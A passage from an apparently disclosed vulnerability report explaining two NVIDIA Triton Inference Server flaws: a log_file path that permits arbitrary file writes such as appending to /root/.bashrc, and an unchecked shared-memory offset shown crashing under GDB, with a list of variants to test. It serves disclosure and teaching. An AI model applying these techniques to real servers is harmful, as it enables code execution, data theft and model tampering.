  • bt 20 means "backtrace, 20 frames". It prints the call stack, which is the more detailed version of the numbered list above. The frames show the path from __memmove_avx_unaligned_erms (a fast memory-copy routine) through triton::backend::CopyBuffer and InferResponse::Send in the Python backend, up through TritonModelInstance::Execute and Payload::Execute in the core. In plain words: the server was copying the model's output into the shared memory, and that copy is where it died.
  • x/i $rip means "examine the instruction at the current instruction pointer". $rip is the register that holds the address of the next instruction to run. The output shows vmovdqu XMMWORD PTR [rdi],xmm0, which is a machine instruction that stores 16 bytes from a register called xmm0 into memory at the address held in rdi. This is the actual write that faulted.
  • i r rdi means "info registers, specifically rdi". It prints 0x7ffefbffffe0, the address the store was aimed at.
  • p 0x7ffefc000000-0x20 means "print the value of this expression". The result is 0x7ffefbffffe0, exactly the address in rdi. That is the proof: the write went to the region's base address minus 32 bytes, precisely where the client's offset said it should go.

The mappings show the region [redacted] mapped at 0x7ffefc000000. The faulting instruction is a vmovdqu store through rdi, and rdi holds 0x7ffefbffffe0, exactly 0x7ffefc000000 - 0x20. The backtrace runs from __memmove_avx_unaligned_erms through triton::backend::CopyBuffer and InferResponse::Send in the Python backend, up through the core TritonModelInstance::Execute and Payload::Execute paths. The author notes one further detail: the memory mapped by [redacted] is adjacent to the libz library.

The report notes that the region is mapped adjacent to the libz library.

Root cause: why the holes exist

CVE-2024-0087 is a missing restriction on a user-controlled path. The /v2/logging interface takes log_file and honours an absolute path, so the server will create, write or append to any file the process can reach. There is no confinement to a log directory, and the file is written with the server's own privileges.

  • Privileges: the permissions a program runs with. If the server runs as root, it can write anywhere root can.
  • Confinement: deliberately limiting a feature to a safe area, for example forcing all log files into /var/log/triton/ and rejecting anything else.

CVE-2024-0088 is missing validation of shared_memory_offset and shared_memory_byte_size. The output address is computed from the client-supplied offset without checking that it lies inside the registered region, so the copy of the inference result writes to an attacker-chosen address relative to the region. The crash above is the visible symptom of that unchecked arithmetic; with a valid target address the same path would be a write rather than a fault. The report does not describe the exact validation code that was missing.

In everyday terms: the server takes the client's word for where the whiteboard starts and where to write on it, and never checks that the spot is actually on the whiteboard.

Impact: what an attacker could do with these

For CVE-2024-0087, an attacker can write to files such as /root/.bashrc, /etc/environment, or any model-related script, and the injected command runs when that file is next executed. This gives code execution on the Triton Server.

For CVE-2024-0088, the arbitrary address write can corrupt memory, and in certain scenarios, depending on the inference model's output and the type of output parameters, it may also leak memory data.

The author frames the wider risk in terms of what Triton underpins. Companies and manufacturers using the server could face complete control over their cloud-based AI models: an unauthorised attacker could steal sensitive user data, execute malicious code, alter AI model computation results, and even steal AI models. The examples given are an autonomous vehicle manufacturer whose self-driving service could misjudge, endangering passengers and pedestrians, and an AI service provider whose model results could be tampered with or whose model could be stolen, causing intellectual property leakage or reputational damage. For an end customer, a conversational AI assistant under attacker control could expose conversation content, daily habits and private information, which could then be disclosed, sold or used for fraud and theft.

Fix: what was done about it

The two issues were assigned CVE-2024-0087 and CVE-2024-0088; what changed in the code is not stated here.

Variants to test: where else to look

These are the general lessons, written so that someone testing a similar product knows where to aim next.

  • Other absolute-path parameters. Look for any management or configuration endpoint that accepts a file path (log files, model repository paths, cache directories) and try an absolute path outside the intended directory. A positive result is a file created or appended at the chosen path, visible with tail or ls -l as in the first proof of concept.
  • Other offset and size parameters. Wherever a client supplies an offset and a size into a shared or mapped buffer, send a negative offset such as -0x20 and an oversized length. A positive result is a crash whose faulting address equals the region base minus the offset, as confirmed here with i r rdi and p 0x7ffefc000000-0x20.
  • Adjacent mappings. Check what is mapped next to the shared memory region, since the author observed the region sitting next to libz. A positive result is a controlled write into an adjacent mapping rather than a fault.
  • Output parameter types. Vary the model's output datatype and shape, since the report notes that memory leakage depends on the inference model's output and the type of output parameters. A positive result is returned data that was not produced by the model.

Glossary

  • API: the defined set of requests one program can send to another, like a menu you order from.
  • Append: add to the end of an existing file instead of replacing it.
  • Arbitrary address write: making a program write data to a memory location of the attacker's choosing.
  • Arbitrary file write: making a program create or change a file at any location it can reach, not just the intended folder.
  • Backend: the part of Triton that knows how to run a particular kind of model, such as the Python backend.
  • Backtrace: a list of the functions that were running when a program stopped, innermost first.
  • bash: the standard Linux command shell; it reads and executes .bashrc when it starts.
  • .bashrc: a startup file that the bash shell executes every time it starts for a user.
  • Byte size: how many bytes to read or write, starting from an offset.
  • Command substitution: a shell feature where text between backticks is run as a command and its output is inserted into the surrounding text.
  • Confinement: deliberately limiting a feature to a safe area, such as one directory.
  • Container: a lightweight isolated box on a machine holding one program and its dependencies.
  • Crafted: deliberately chosen to have a particular effect rather than a normal value.
  • curl: a command-line tool for sending HTTP requests, the same kind a browser sends.
  • CVE: a public identifier assigned to a specific security vulnerability so people can refer to it unambiguously.
  • Docker: software for building and running containers.
  • Endpoint: a specific address on a server that performs one job, such as /v2/logging.
  • Environment variable: a named value the system passes to programs, often used for configuration.
  • FP32: a 32-bit floating point number, a decimal number stored in four bytes.
  • GDB: the GNU Debugger, a tool for pausing a program and inspecting its memory and registers.
  • GEF: an extension that adds extra commands and a nicer display to GDB.
  • grep: a command that filters lines of text, keeping only those matching a pattern.
  • Hexadecimal: a base-16 way of writing numbers, where 0x20 means 32.
  • HTTP: the protocol browsers and programs use to exchange requests and responses over a network.
  • int64_t: a whole number stored in 64 bits, which can be negative or positive.
  • Inference: running a trained AI model on new input to get an answer.
  • JSON: a simple text format for structured data, made of names and values in curly braces.
  • Kubernetes: a system for running and managing many containers across machines.
  • libz: a compression library; the report notes the shared memory region was mapped next to it.
  • Log: a running record of what a program did, usually written to a file.
  • Memory leak: the server returning data from memory it was never supposed to reveal.
  • Offset: a distance in bytes from the start of a block of memory.
  • Parameter: a named value sent with a request, such as log_file.
  • Port: a numbered door on a machine through which one network service listens; Triton used 8000 here.
  • POST: an HTTP method used to send data that changes something on the server.
  • Primitive: a small capability, such as "write a file anywhere", that can be combined with others into a full attack.
  • Privileges: the permissions a program runs with; root can do anything.
  • Region: one named block of shared memory that clients can refer to.
  • Remote code execution (RCE): making a server run commands of the attacker's choosing from a distance.
  • Segmentation fault (SIGSEGV): the operating system stopping a program because it touched memory it is not allowed to touch; signal number 11 on Linux.
  • Server: a program that listens for requests over a network and answers them.
  • Shared memory: a block of memory two programs on the same machine can both read and write directly.
  • Shell: the program that reads and runs typed commands, such as bash.
  • Signal: a short message the operating system sends to a program, for example to tell it to stop.
  • Stack trace: see backtrace.
  • tail: a command that prints the last lines of a file.
  • Validation: checking the values a client sends before using them.
  • vmovdqu: a machine instruction that stores 16 bytes from a register into memory at a given address.
  • /proc/<pid>/maps: a file the Linux kernel provides for each process, listing every block of memory it has mapped.

More by zhiniang peng

View all

3 more disclosed reports, best first.

More from Nvidia

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Remote code execution

The lesson behind this report.

Running the attacker's code on the target's servers: through command or code injection, unsafe deserialisation or template injection.